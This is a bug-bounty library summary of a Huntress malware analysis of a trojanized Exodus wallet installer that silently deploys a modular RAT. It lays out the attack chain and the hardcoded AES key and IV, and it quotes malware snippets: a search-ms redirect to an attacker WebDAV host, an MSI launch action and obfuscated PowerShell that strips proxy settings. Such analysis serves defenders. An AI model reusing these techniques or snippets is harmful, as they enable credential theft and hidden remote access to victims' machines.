# The Crypto Wallet That Never Opened: Tampered Exodus Installer Hides a Modular RAT

Trojanized Exodus Wallet installer ships a real wallet with UI suppressed and a memory-only modular RAT stealing browser credentials and enabling hidden VNC.

- Payout: Real-world hack
- Severity: critical
- Program: Exodus Wallet
- Analysis by: Huntress
- Disclosed: 2026-09-01
- Write-up quality: 9/10
- Original: https://www.huntress.com/blog/exodus-crypto-wallet-installer-rat
- Library page: https://bugbountylibrary.com/r/blog%3Ahuntress-com-blog-exodus-crypto-wallet-installer-rat
- Tags: area:os domain:desktop impact:data-leak impact:internal-access kind:incident platform:threat-intel sev:critical tech:electron tech:windows technique:reverse-engineering technique:source-review vuln:secrets-leak

**Target:** Windows desktop endpoint via MSI installer and Electron app.asar bundle
**Root cause:** Unsigned MSI installs a genuine Exodus 24.33.4 bundle with three modified files: exodus_patch.js overrides BrowserWindow.show/focus/center to suppress all UI, and keystorage.js carries an AES-encrypted 10MB PE32+ reflective loader (koffi FFI) that maps a modular RAT in memory.
**Steps:**
1. Lure: `.pdf.js` double-extension (Windows hides known extensions) or a `.js` inside a ZIP opened from Explorer's compressed view, staging to `%LOCALAPPDATA%\Temp\{staging-id}Update_GS_7G0N-254V38L2350.zip.116\`.
2. Dropper opens a real decoy PDF (Storyblok CDN, georgetown law) then runs `msiexec /i "%TEMP%\jg0384.msi" /quiet /norestart`.
3. MSI installs to `%APPDATA%\ExdBackupTool\` (short name flxaoko4) and fires custom action `LaunchExodus: [WindowsFolder]explorer.exe "[INSTALLDIR]Exodus.exe"` to re-parent to explorer.exe.
4. `main/index.js` prepends `require("./exodus_patch");` and `require("../keyviewer/keystorage.js");`.
5. exodus_patch.js blanks `BrowserWindow.prototype.show/focus/center` and denies all permission requests, so no window ever appears.
6. keystorage.js decodes a 10M-entry hex array with hardcoded `aes-256-cbc` key `SXD9WPcPiVBt76Y09wg/YLDTk/uOOrKWbSmMSrystI8=` and iv `3ssyBCFqLnkYA2aJ70rxRw==` into a PE32+ reflective loader.
7. Loader uses VirtualAlloc/WriteProcessMemory/RtlAddFunctionTable/CreateThread and mutex `ExodusHelper` to map six plugin DLLs in memory.
8. Persistence: scheduled task `ExdBackupTool` created via Task Scheduler COM API relaunches Exodus.exe hourly; task `INetHealth` clears proxy settings via InternetSetOption(39/37).
9. C2 via Azure Table Storage `lgapistorage123.table.core.windows.net` table `ftable434`, PartitionKey=bot id, T_ tasking / R_ results.
**How found:** Huntress correlated four unrelated orgs hit by same tooling within 85 minutes. Initial July detection (conhost --headless PowerShell) was misread as ClickFix; decoded script only cleared proxy settings, revealing intent. Pattern-matching 1,973 asar files for obfuscated JS isolated three modified files; size anomaly (50MB key helper vs 16MB UI bundle) confirmed. Deobfuscation required precomputing hex-arithmetic index chains and unwrapping nested string arrays; rotation pinned via `b.com` fragment from fs-extra's GitHub URL.
**Exploitation:** Victim opens a disguised document; WSH runs JS that shows a real decoy PDF while silently installing the trojanized wallet. The wallet runs invisibly, maps a modular RAT in memory, and persists hourly. Operator gains remote shell, file manager, browser credential/cookie theft, SOCKS pivot, hidden VNC, and Lua script execution, with C2 over Azure Table Storage dead drop and proxy settings stripped to keep egress direct.
**Escalation:** RAT modules chain: browser stealer harvests session cookies surviving password resets, SOCKS proxy turns host into relay, hidden VNC creates a second invisible desktop relaunching Chrome/Edge against a copied profile for hands-on access.
**Insight:** When a bundle is bloated with hex-arithmetic string-array obfuscation, precompute every index expression to a literal before running deobfuscators; anchor string-array rotation using a known substring from a bundled third-party dependency's source (e.g. a GitHub URL fragment) to brute-force the shift uniquely.

## Proof of concept (copied exactly from the original report)

**search-ms WebDAV redirect Location header**

```
Location: search-ms:displayname=Search Results in update (\\us05.org@8080)&crumb=&crumb=location:\\us05.org@8080\update
```

**MSI custom action launching Exodus via explorer**

```
LaunchExodus:  [WindowsFolder]explorer.exe "[INSTALLDIR]Exodus.exe"
```

**PowerShell proxy-clearing scheduled task payload**

```
$xbzshxel = @'
[DllImport("wininet.dll", SetLastError = true, CharSet=CharSet.Auto)]
public static extern bool InternetSetOption(IntPtr hInternet, int dwOption, IntPtr lpBuffer, int dwBufferLength);
'@
$hapiuysw = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
Set-ItemProperty -path $hapiuysw ProxyEnable   -value 0  -ErrorAction Stop
Set-ItemProperty -path $hapiuysw ProxyServer   -value "" -ErrorAction Stop
Set-ItemProperty -path $hapiuysw AutoConfigURL -Value "" -ErrorAction Stop
$miihtwvx = Add-Type -MemberDefinition $xbzshxel -Name syjtmthn -PassThru
$gmsqtp = $miihtwvx::InternetSetOption(0, 39, 0, 0)
$pfoguq = $miihtwvx::InternetSetOption(0, 37, 0, 0)
```